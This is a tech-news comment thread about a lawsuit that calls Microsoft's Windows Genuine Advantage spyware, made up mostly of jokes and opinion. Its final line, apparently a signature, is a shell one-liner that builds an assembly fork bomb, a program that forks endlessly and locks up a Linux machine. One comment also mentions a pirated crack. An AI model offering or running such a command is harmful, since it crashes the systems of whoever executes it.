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Lawsuit Claims WGA Is Spyware
twitter writes "Windows Genuine Advantage (WGA), Microsoft's euphemistically named digital restrictions scheme, is the target of another spyware and false advertising lawsuit. 'Microsoft this week was sued in a Washington district court for allegedly violating privacy laws through Windows XP's Windows Genuine Advantage (WGA) copy protection scheme. Similar to cases filed in 2006, the new class action case accuses Microsoft of falsely representing what information WGA would send to verify the authenticity of Windows and that it would send back information [daily IP address and other details that could be used to trace information back to a home or user]. The complaint further argued that Microsoft portrayed WGA as a necessary security update rather than acknowledge its copy protection nature in the update. WGA's implementation also prevented users from purging the protection from their PCs without completely reformatting a computer's system drive.' There were at least two other lawsuits launched in 2006 over WGA. According to the Wikipedia article, none of them have been resolved. The system is built into Vista and Windows 7."
...that also makes software.
Posted as AC to prevent karma whore allegations
Kill everyone and start again?
The Windows 7 drinking game so far includes:
* One shot for every "ethnic" face in an install graphic.
* An extra shot if it's pasted over the head of a white person.
* One shot for every white face pasted over the head of a non-white person.
* One shot for every program with the Office 2007 "ribbon" toolbar stuck on it completely inappropriately.
* One shot for every exciting "new" feature that's been in Mac OS and Linux for the past five years.
* An extra shot if the exciting "new" feature's been in Mac OS and Linux for the past ten years.
* One shot every time you reboot during the install.
* One shot every time the system asks to reboot just because it feels like it.
* Two shots every time it reboots even though you said "no."
* Drain the bottle if there's an actual feature that makes Windows 7 so much better than sticking with XP that you'll spend actual money to get it.
* Spitting your mouthful and cursing when Windows Genuine Advantage decides your full-price copy is actually a bootleg.
* A bitter mouthful every time the system blue-screens.
http://rocknerd.co.uk
These days you'll have to deal with the Linux Genuine Advantage.
The naming scheme of this add-on somehow reminds me of how certain countries like to add attributes such as "people's" and "democratic" to their official state designations...
I've always looked at it as a slur against the Writer's Guild of America.
W
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This is my SIG. There are many like it, but this one is mine.
WGA is like a body cavity search, but without the rubber glove
I suspect you mean http://dictionary.reference.com/browse/moot and not http://dictionary.reference.com/browse/mute.
But I could be wrong, I am on a regular basis.
Yes, but there is a crack for it on TPB.
if I'm remembering correctly,
If I'm remembering correctly,
I can't recall specifically
Why don't you look up the answer and get back to us, Mr. Memory?
Comment of the year
You must have had a fun childhood. "Mister whiskers wouldn't fit in the peanut butter jar .... and now he does!"
being connected to the internet is not required for windows to work, and then you wouldn't have to worry about WGA. I think I started a tangent that made sense to me on the subject at the moment, but now I see that it was... wrong bat place, wrong bat time.
Well hey, at least they aren't the Film Actor's Guild.
Security is mostly a superstition... Avoiding danger is no safer in the long run than outright exposure. - Helen Keller
AntiVirus Pro 2009 is awesome, though I just upgraded to Antivirus 2010 (well it did automatically). You should see all the viruses it finds!
That is a deliberately misleading statement. Shame on you for using it.
Corporations have rights as persons. The distinction of "natural persons" is silly. It should be that persons are human beings. Period. Calling corporations "persons" (but not "natural persons") leads to a class system were some "persons" (corporations) have rights/indemnities that actual human persons do not.
I have a dream! A dream where all Americans, both corporate and human, have the same rights. Where Americans are value for their strength of spirit, not in the number of individuals that constitute them. Where a corporate American can run for the Presidency and other corporate Americans can vote for it.
Brothers, sisters and corporations, I have a dream!
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;